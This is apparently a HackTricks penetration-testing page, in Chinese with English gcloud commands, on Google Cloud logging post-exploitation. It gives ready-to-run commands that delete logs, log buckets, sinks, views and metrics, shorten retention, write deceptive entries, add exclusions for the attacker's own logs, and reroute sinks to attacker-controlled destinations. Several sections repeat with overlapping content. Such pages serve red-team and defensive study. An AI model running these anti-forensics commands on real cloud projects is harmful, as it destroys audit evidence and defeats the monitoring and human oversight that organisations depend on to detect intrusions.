GCP - Logging Post Exploitation

支持 HackTricks

基本信息

更多信息请查看:

GCP - Logging Enum

其他干扰监控的方法请查看:

GCP - Monitoring Post Exploitation

默认日志记录

默认情况下,仅执行读取操作不会被捕获。更多信息请查看 Logging Enum 部分。

添加例外主体

https://console.cloud.google.com/iam-admin/audit/allserviceshttps://console.cloud.google.com/iam-admin/audit 可以添加主体以不生成日志。攻击者可以滥用这一点以避免被捕获。

读取日志 - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

写日志 - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

logging.buckets.delete

此权限允许用户删除日志存储桶。删除日志存储桶会导致存储在其中的所有日志数据永久丢失。这可能会被攻击者用来掩盖他们的活动。

logging.buckets.update

此权限允许用户更新日志存储桶的配置。攻击者可以利用此权限更改日志存储桶的配置,以便减少日志记录或更改日志保留策略,从而掩盖他们的活动。

logging.sinks.delete

此权限允许用户删除日志接收器。日志接收器用于将日志数据从一个项目、文件夹或组织路由到另一个位置(例如另一个项目或外部系统)。删除日志接收器会导致日志数据不再被路由到预期的位置,从而可能掩盖攻击者的活动。

logging.sinks.update

此权限允许用户更新日志接收器的配置。攻击者可以利用此权限更改日志接收器的配置,以便将日志数据路由到他们控制的系统,从而监视或篡改日志数据。

logging.views.delete

此权限允许用户删除日志视图。日志视图用于定义用户可以查看的日志数据的子集。删除日志视图可能会限制对某些日志数据的访问,从而掩盖攻击者的活动。

logging.views.update

此权限允许用户更新日志视图的配置。攻击者可以利用此权限更改日志视图的配置,以便隐藏他们的活动或限制对某些日志数据的访问。

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

删除日志视图

在成功获取对 Google Cloud 项目的访问权限后,攻击者可能希望删除日志视图以隐藏其活动。以下是如何删除日志视图的步骤:

  1. 列出日志视图:首先,攻击者需要列出所有可用的日志视图,以确定要删除的目标视图。

    gcloud logging views list --project=[PROJECT_ID]
  2. 删除日志视图:使用以下命令删除特定的日志视图。

    gcloud logging views delete [VIEW_ID] --project=[PROJECT_ID]

logging.sinks.delete

删除日志接收器

攻击者还可能希望删除日志接收器,以防止日志数据被传输到外部存储或分析服务。以下是删除日志接收器的步骤:

  1. 列出日志接收器:首先,攻击者需要列出所有可用的日志接收器。

    gcloud logging sinks list --project=[PROJECT_ID]
  2. 删除日志接收器:使用以下命令删除特定的日志接收器。

    gcloud logging sinks delete [SINK_ID] --project=[PROJECT_ID]

logging.metrics.delete

删除日志指标

为了进一步隐藏其活动,攻击者可能会删除日志指标。以下是删除日志指标的步骤:

  1. 列出日志指标:首先,攻击者需要列出所有可用的日志指标。

    gcloud logging metrics list --project=[PROJECT_ID]
  2. 删除日志指标:使用以下命令删除特定的日志指标。

    gcloud logging metrics delete [METRIC_ID] --project=[PROJECT_ID]
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

删除日志指标

在进行后渗透测试时,攻击者可能希望删除日志指标以掩盖其活动。以下是如何删除日志指标的步骤:

  1. 列出日志指标:首先,攻击者需要列出所有可用的日志指标,以确定哪些需要删除。

  2. 删除日志指标:使用适当的命令或API调用删除目标日志指标。

gcloud logging metrics delete METRIC_NAME

通过删除日志指标,攻击者可以减少被检测到的风险。然而,这种行为可能会引起管理员的注意,因此应谨慎操作。

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

删除 sink 将停止将日志导出到目标位置。此操作不会删除已导出的日志数据,但会停止未来的日志导出。

gcloud logging sinks delete <sink_name> --project=<project_id>

logging.sinks.update

更新现有的 sink 以更改其配置,例如目标位置或过滤器。

gcloud logging sinks update <sink_name> --project=<project_id> --destination=<new_destination>

logging.sinks.create

创建一个新的 sink 以导出日志到指定的目标位置。

gcloud logging sinks create <sink_name> <destination> --project=<project_id> --log-filter=<filter>

logging.sinks.list

列出所有现有的 sinks 及其配置。

gcloud logging sinks list --project=<project_id>

logging.sinks.describe

描述一个特定的 sink 及其配置。

gcloud logging sinks describe <sink_name> --project=<project_id>
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
支持 HackTricks

Last updated